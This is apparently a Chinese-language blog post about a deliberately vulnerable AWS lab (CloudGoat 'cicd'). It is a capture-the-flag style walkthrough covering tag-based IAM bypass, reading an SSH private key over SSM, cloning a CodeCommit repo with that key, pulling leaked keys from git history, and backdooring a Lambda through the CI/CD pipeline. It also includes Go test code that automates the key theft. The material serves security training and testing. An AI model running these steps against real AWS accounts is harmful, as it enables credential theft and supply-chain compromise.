构建易受攻击的AWS DevOps环境：CloudGoat场景实践

构建易受攻击的AWS DevOps环境作为CloudGoat场景

CloudGoat：易受攻击的AWS环境

CloudGoat是一个开源项目，包含一系列易受攻击的AWS环境库，可以使用Python封装的Terraform在您自己的AWS账户中轻松创建。每个场景都有一个专用文件夹，包含其描述和解决方案。

示例CloudGoat场景

例如，您可以使用以下命令在AWS账户中启动cicd场景：

python cloudgoat.py create cicd

此命令将运行Terraform来启动基础设施，并显示开始使用的说明。通常，它会输出一组AWS凭据作为起点。

贡献新的CloudGoat场景

直接链接：https://github.com/RhinoSecurityLabs/cloudgoat/tree/master/scenarios/cicd

场景故事

FooCorp是一家暴露公共API的公司。FooCorp的客户每分钟向以下API端点提交敏感数据：

POST {apiUrl}/prod/hello
Host: {apiHost}
Content-Type: text/htmlsuperSecretData=...

该API通过API Gateway暴露，实现为Lambda函数。由于FooCorp实施DevOps，它有一个持续部署管道，可在几分钟内将Lambda函数的新版本从源代码自动部署到生产环境。

FooCorp的持续部署管道。

您的任务（如果您选择接受）：您将获得一个权限不足的IAM用户的初始AWS凭据集。您的目标是窃取提交到FooCorp API的敏感数据。请注意，模拟用户活动正在账户中进行，模拟对FooCorp API的活动。这是通过每分钟运行的AWS CodeBuild项目实现的。

该场景包含：

• 3个IAM用户
• 1个VPC，其中包含私有子网中的EC2实例
• 用于实现API的组件：
  • 1个API Gateway
  • 1个Lambda函数
  • 1个ECR存储库
• 用于实现持续部署管道的组件：
  • 1个CodePipeline管道
  • 2个CodeBuild项目
  • 1个CodeCommit存储库

利用演练

当我们通过python3 cloudgoat.py create cicd实例化场景时，我们会获得一个初始的AWS IAM访问密钥：

[cloudgoat] terraform apply completed with no error code.[cloudgoat] terraform output completed with no error code.
cloudgoat_output_access_key_id = AKIA254BBSG...
cloudgoat_output_api_url = https://4ybsnrwee1.execute-api.us-east-1.amazonaws.com/prod
cloudgoat_output_aws_account_id = 012345678912
cloudgoat_output_secret_access_key = mjV9uB....

我们可以在环境中设置AWS_ACCESS_KEY_ID和AWS_SECRET_ACCESS_KEY，或使用aws-vault。我更喜欢后者，因为它可以方便地同时使用CLI和AWS控制台。

$ aws-vault add cloudgoat-step1
Enter Access Key ID:
Enter Secret Access Key:
Added credentials to profile "cloudgoat-step1" in vault# 使用CLI
$ aws-vault exec cloudgoat-step1 --no-session# 打开AWS控制台
$ aws-vault login cloudgoat-step1 --no-session

我们以名为ec2-sandbox-manager的用户身份进行身份验证，该用户具有IAM策略，允许我们管理标记为Environment=dev的EC2实例的标签，并对具有Environment=sandbox的实例执行任何SSM操作。

{"Effect": "Allow","Resource": "*","Action": ["ec2:CreateTags","ec2:DeleteTags"],"Condition": {"StringLike": {"ec2:ResourceTag/Environment": ["dev"]}}
},
{"Effect": "Allow","Resource": "*","Action": ["ssm:*"],"Condition": {"StringLike": {"ssm:ResourceTag/Environment": ["sandbox"]}}
}

一个EC2实例正在运行，标记为Environment=dev：

我们的IAM策略不允许我们通过AWS SSM Session Manager访问实例。但是，我们确实有权覆盖用于访问控制的Environment标签：

然后我们可以访问EC2实例：

$ aws ssm start-session --region us-east-1 --target i-030c2cba2ef533829Starting session with SessionId: ec2-sandbox-manager-06e2440aa9ed6f315
# id
uid=1001(ssm-user) gid=1001(ssm-user) groups=1001(ssm-user)

在我们认证用户的主目录下，找到一个SSH私钥：

$ cd
$ cat .ssh/id_rsa
--
MIIEpAIBAAKCAQEApn/Tcy
...

通过将其指纹与账户中其他IAM用户关联的SSH公钥进行比较，我们注意到被盗的私钥属于名为cloner的IAM用户：

$ ssh-keygen -f .ssh/stolen_key -l -E md5
2048 MD5:be:5e:49:5e:e5:d0:66:bb:91:30:3f:66:2e:97:1a:11$ aws iam list-ssh-public-keys --user-name cloner
{"SSHPublicKeys": [{"UserName": "cloner","SSHPublicKeyId": "APKA254BBSGPK2B5K5YQ","Status": "Active","UploadDate": "2021-12-27T10:34:19+00:00"}]
}
$ aws iam get-ssh-public-key --user-name cloner --ssh-public-key-id APKA254BBSGPK2B5K5YQ --encoding PEM --output text --query 'SSHPublicKey.Fingerprint' 
be:5e:49:5e:e5:d0:66:bb:91:30:3f:66

该用户恰好对CodeCommit存储库具有codecommit:GitPull权限。使用CodeCommit文档，我们可以将存储库克隆到本地机器：

chmod 700 .ssh/stolen_key
export AWS_REGION=us-east-1
sshKeyId=$(aws iam list-ssh-public-keys --user-name cloner --output text --query 'SSHPublicKeys[0].SSHPublicKeyId')cat >> .ssh/config <<EOF
Host *.amazonaws.comIdentityFile ~/.ssh/stolen_key
EOFgit clone ssh://$sshKeyId@git-codecommit.$AWS_REGION.amazonaws.com/v1/repos/backend-api

现在我们有权访问应用程序的源代码！

源代码中没有什么有趣的内容。但是，如果我们查看Git提交历史，有一个提交引起了我们的注意：

39ac1aa (HEAD -> master, origin/master, origin/HEAD) Added app.py
88055fb Added requirements.txt
bdf59bb Added Dockerfile
f1cb341 Use built-in AWS authentication instead of hardcoded keys
70f0181 Added buildspec.yml

分析此提交的差异（git show f1cb341）揭示了一些泄露的AWS凭据！

使用这些凭据向AWS进行身份验证，我们注意到我们刚刚泄露了IAM用户developer的凭据，该用户具有codecommit:GitPush和codecommit:PutFile权限。

我们现在可以使用CodeCommit UI后门应用程序，并等待持续部署管道将其部署到生产环境！例如，我们可以让应用程序将秘密数据记录到其日志（CloudWatch日志组/aws/lambda/backend-api）。我们也可以后门应用程序，使其在每个请求上将秘密数据发送到远程攻击者控制的服务器——或者不接触应用程序代码，而是后门Docker镜像本身。

一旦我们执行了恶意提交，CodePipeline管道就会获取我们的更改并开始将其推出到生产环境：

几分钟后，我们成功后门了应用程序并捕获了标志！

START RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643 Version: $LATEST
superSecretData=FLAG{SupplyCh4!nS3curityM4tt3r5"}
END RequestId: 3bd6cd1e-9e01-4012-859d-70c9fcd9d643

使用端到端测试进行持续测试

如前所述，此场景基于负责创建VPC、EC2实例、管道等的Terraform代码。Terraform代码并非简单。我们如何高度自信地确认它持续按预期工作？请记住，在我们的上下文中，工作意味着处于可通过预期步骤利用的状态。

我们利用了Terratest，一个用于测试Terraform代码的Go库。更具体地说，我们编写了如下工作的Go测试：

1. 使用Terratest针对实时AWS环境运行我们的Terraform代码。资源实际部署到AWS。
2. 从我们的Go测试中，向FooCorp API发送实际的HTTP请求，确保其已正确部署。
3. 仍然从我们的Go测试中，以编程方式执行利用步骤，一步一步。
4. 测试结束后，通过我们的Terraform代码销毁我们配置的基础设施。

然后我们可以使用go test运行测试，无论是手动还是自动在每个拉取请求上。以下是"代码形式的利用步骤"示例：

func (test *EndToEndTest) StealPrivateSSHKey(instanceId string) string {// 在实例上执行SSM命令以窃取SSH私钥ssmClient := ssm.NewFromConfig(test.awsConfig)result, err := ssmClient.SendCommand(context.TODO(), &ssm.SendCommandInput{DocumentName: aws.String("AWS-RunShellScript"),InstanceIds:  []string{instanceId},Parameters: map[string][]string{"commands": {"cat /home/ssm-user/.ssh/id_rsa"},},})test.assert.Nil(err, "Unable to send SSM command to instance")// 等待SSM命令的输出commandOutput, err := ssm.NewCommandExecutedWaiter(ssmClient).WaitForOutput(context.TODO(), &ssm.GetCommandInvocationInput{CommandId:  result.Command.CommandId,InstanceId: &instanceId,}, 2*time.Minute)test.assert.Nil(err, "failed to retrieve SSM command output")// 我们成功窃取了SSH私钥return *commandOutput.StandardOutputContent
}

--- PASS: TestScenario (248.47s)
PASS
ok    github.com/cloudgoat/tests/supply-chain-security  249.070s

结论

我鼓励您尝试这个场景！更一般地说，CloudGoat有一组有价值的实验室，包含许多真实的AWS漏洞。

您对这个场景有什么看法？您如何测试您的安全实验室？您希望在CloudGoat中接下来看到什么？让我们在Twitter上继续讨论！

感谢RhinoSecurityLabs的Ryan Gerstenkorn提供的出色贡献体验！感谢您的阅读。
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